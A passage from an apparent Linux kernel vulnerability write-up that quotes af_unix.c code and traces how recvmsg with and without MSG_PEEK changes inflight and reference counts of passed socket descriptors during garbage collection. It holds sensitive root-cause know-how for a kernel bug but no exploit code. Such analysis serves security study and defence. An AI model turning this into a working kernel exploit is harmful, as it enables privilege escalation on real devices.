<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> BUG_ON</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">list_empty</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">link</span><span class="ykcrMYlEiJ-c10">));</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c14 ykcrMYlEiJ-c7">if</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">atomic_long_dec_and_test</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">inflight</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">))</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> list_del_init</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">link</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> unix_tot_inflight</span><span class="ykcrMYlEiJ-c10">--;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> user</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">unix_inflight</span><span class="ykcrMYlEiJ-c10">--;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> spin_unlock</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">unix_gc_lock</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Later </span><span class="ykcrMYlEiJ-c3">skb_unlink</span><span> and </span><span class="ykcrMYlEiJ-c3">consume_skb</span><span> are invoked from </span><span class="ykcrMYlEiJ-c3">unix_stream_read_generic</span><span> </span><span>(</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/af_unix.c#L2451">af_unix.c#2451</a></span><span>)</span><span> to destroy the current </span><span class="ykcrMYlEiJ-c3">skb</span><span>. Following the call chain </span><span class="ykcrMYlEiJ-c3">kfree(skb)->__kfree_skb</span><span>, the kernel will invoke the function pointer </span><span class="ykcrMYlEiJ-c3">skb->destructor</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/af_unix.c#L1605">code</a></span><span>) which redirects to </span><span class="ykcrMYlEiJ-c3">unix_destruct_scm</span><span class="ykcrMYlEiJ-c2">:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.d928301c0cdf3e7a332926420806a793608d77ac"></a><a id="t.15"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">static</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">void</span><span class="ykcrMYlEiJ-c0"> unix_destruct_scm</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> sk_buff </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_cookie scm</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> memset</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">scm</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c35">0</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">sizeof</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">scm</span><span class="ykcrMYlEiJ-c10">));</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> scm</span><span class="ykcrMYlEiJ-c10">.</span><span class="ykcrMYlEiJ-c0">pid </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> UNIXCB</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">).</span><span class="ykcrMYlEiJ-c0">pid</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c14 ykcrMYlEiJ-c7">if</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">UNIXCB</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">).</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> unix_detach_fds</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">scm</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c23">/* Alas, it calls VFS */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c23">/* So fscking what? fput() had been SMP-safe since the last Summer */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> scm_destroy</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">scm</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> sock_wfree</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>In fact, the </span><span class="ykcrMYlEiJ-c3">unix_detach_fds</span><span> will not be invoked again here from </span><span class="ykcrMYlEiJ-c3">unix_destruct_scm</span><span> because </span><span class="ykcrMYlEiJ-c3">UNIXCB(skb).fp</span><span> is already cleared by </span><span class="ykcrMYlEiJ-c3">unix_detach_fds</span><span>. Finally, </span><span class="ykcrMYlEiJ-c3">fd_install(new_fd, get_file(fp[i]))</span><span> from </span><span class="ykcrMYlEiJ-c3">scm_detach_fds</span><span class="ykcrMYlEiJ-c2"> is invoked for installing a new file descriptor.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.yfq48nayx2kg"><span>r</span><span class="ykcrMYlEiJ-c1">ecvmsg with MSG_PEEK flag</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>The </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> process is different i</span><span>f the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag is set. The </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag is used during receive to “peek” at the message, but the data is treated as unread. </span><span class="ykcrMYlEiJ-c3">unix_stream_read_generic</span><span> will invoke </span><span class="ykcrMYlEiJ-c3">scm_fp_dup</span><span> instead of </span><span class="ykcrMYlEiJ-c3">unix_detach_fds</span><span>. </span><span>This increases the reference count of the inflight file (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://android.googlesource.com/kernel/goldfish/+/eee65a1282369eedfcbb664d0c865a0ef3eb7017/net/unix/af_unix.c#2149">af_unix.c#2149</a></span><span>)</span><span>:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.54ddd657e781757bb7c1f32330ad770b045c0ed3"></a><a id="t.16"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/* It is questionable, see note in unix_dgram_recvmsg.</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14 ykcrMYlEiJ-c7">if</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">UNIXCB</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">).</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> scm</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">.</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">=</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> scm_fp_dup</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">UNIXCB</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">).</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0">sk_peek_offset_fwd</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">sk</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> chunk</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">UNIXCB</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">).</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">break</span><span class="ykcrMYlEiJ-c10">;</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Because the data should be treated as unread, the </span><span class="ykcrMYlEiJ-c3">skb</span><span> is not unlinked and consumed when the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span class="ykcrMYlEiJ-c2"> flag is set. However, the receiver will still get a new file descriptor for the inflight socket.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.4kuedi8b9x2y"><span>recvmsg </span><span>Examples</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">Let’s see a concrete example. Assume there are the following socket pairs:</span></p><ul style="padding: 0;" class="c27 lst-kix_k47gmg94hbw2-0 start"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span></li></ul>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">Now, the program does the following operations:</span></p><ul style="padding: 0;" class="c27 lst-kix_8chkxhfzc2ds-0 start"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span> → [</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>] → </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1 </span><span>(means </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span> sends [</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>] to </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c2">)</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span> → [</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>] → </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="c11 c19 c37">1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">Close</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">)</span></li></ul>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi5B8kJXBAiYH3vq8NcQtmatM_hz8o9KgBZpMbMyd9QwRC84jh-SZo76fLhvSFrRohs4pUhBW48q3fQ0bUu0DlySHyJhDMC69rz8qwEM8nHK4b1RGLMw9QGwPmf4E7iMjo5Noa6eF-GDEuMqa4Gzq0fwiBCXU_x0i_Q7eGd2OqiIbu7lYFFaErVE5o/s1102/image62.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi5B8kJXBAiYH3vq8NcQtmatM_hz8o9KgBZpMbMyd9QwRC84jh-SZo76fLhvSFrRohs4pUhBW48q3fQ0bUu0DlySHyJhDMC69rz8qwEM8nHK4b1RGLMw9QGwPmf4E7iMjo5Noa6eF-GDEuMqa4Gzq0fwiBCXU_x0i_Q7eGd2OqiIbu7lYFFaErVE5o/s1102/image62.png" border="0" alt="f00, f01, f10, f11 forms a breakable cycle." style="max-height: 750px; max-width: 600px;"title="f00, f01, f10, f11 forms a breakable cycle." /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c32">Breakable cycle by </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span> </span><span class="ykcrMYlEiJ-c32">and</span><span> </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">Here is the status:</span></p><ul style="padding: 0;" class="c27 lst-kix_9gryrzygx46m-0 start"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 2, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="c13 c19 c15">) = 2</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="c13 c19 c15">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="c13 c19 c15">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 1</span></li></ul>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>If the garbage collection process happens now, before any </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> calls, the kernel will choose </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span> as the garbage candidate. However, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span> will not have the inflight count altered and the kernel will not purge any garbage.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>I</span><span>f </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span> then calls </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> </span><span class="ykcrMYlEiJ-c39">with</span><span> </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag, t</span><span>he receive queue doesn’t change and the inflight counts are not decremented. </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span> gets a new file descriptor </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c8">'</span><span> which increments the </span><span>reference count on </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">:</span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO9D3ODJFXZt6dQmkyP1e7zZe0smN042wAbdy7isVbd407L-oCrSDS9LDCBshKwft2pWiuKHXQBclib4tQFoou-8U14ZNuyeJMRxDjtuFsTk3B_TDHVQNDl5x8aLt09negBlNpoEzrYgybadh-KbAAGu_U4hqaDNLyOpWFbI06Vjfh1kam2JHuD7yH/s1216/image63.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO9D3ODJFXZt6dQmkyP1e7zZe0smN042wAbdy7isVbd407L-oCrSDS9LDCBshKwft2pWiuKHXQBclib4tQFoou-8U14ZNuyeJMRxDjtuFsTk3B_TDHVQNDl5x8aLt09negBlNpoEzrYgybadh-KbAAGu_U4hqaDNLyOpWFbI06Vjfh1kam2JHuD7yH/s1216/image63.png" border="0" alt="After f01 receives the socket file descriptor by MSG_PEEK, the reference count of f00 is incremented and the receive queue from f01 remains the same." style="max-height: 750px; max-width: 600px;"title="After f01 receives the socket file descriptor by MSG_PEEK, the reference count of f00 is incremented and the receive queue from f01 remains the same." /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c3 ykcrMYlEiJ-c38">MSG_PEEK</span><span class="ykcrMYlEiJ-c32"> increment the reference count of </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="c34 c19 c32"> while the receive queue is not cleared</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">Status:</span></p><ul style="padding: 0;" class="c27 lst-kix_9gryrzygx46m-0"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 2, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="c13 c19 c15">) = 3</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="c50 c19 c49 c42">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="c50 c19 c49 c42">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 1</span></li></ul>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Then, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span> calls </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> </span><span class="ykcrMYlEiJ-c39">without</span><span> </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span>’s receive queue is removed. </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span> also fetches a new file descriptor </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c8">''</span><span class="ykcrMYlEiJ-c2">:</span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"></p>
